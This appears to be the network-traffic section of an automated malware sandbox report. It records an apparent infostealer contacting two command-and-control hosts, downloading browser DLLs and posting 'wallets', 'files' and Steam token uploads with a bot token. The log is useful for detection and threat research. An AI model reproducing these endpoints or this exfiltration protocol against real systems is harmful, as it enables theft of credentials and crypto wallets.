Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file"------AKKECAFBFHJDGDHIEHJD--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJJDGDHDGDAKFIECFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 2d 2d 0d 0a Data Ascii: ------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="message"wallets------EHIJJDGDHDGDAKFIECFI--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="message"files------GIIIIJDHJEGIECBGHIJE--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file"------IJJJKEGHJKFHJKFHDHCF--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="message"ybncbhylepme------IDBFHJDAAFBAKEBGIJKK--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAAKEBGDAFHIIDHIIECF--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 37 45 38 35 31 31 31 35 36 41 32 31 37 36 32 31 38 33 38 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="hwid"2C7E8511156A2176218386------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="build"tale------CAFBGHIDBGHJJKFHJDHC--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
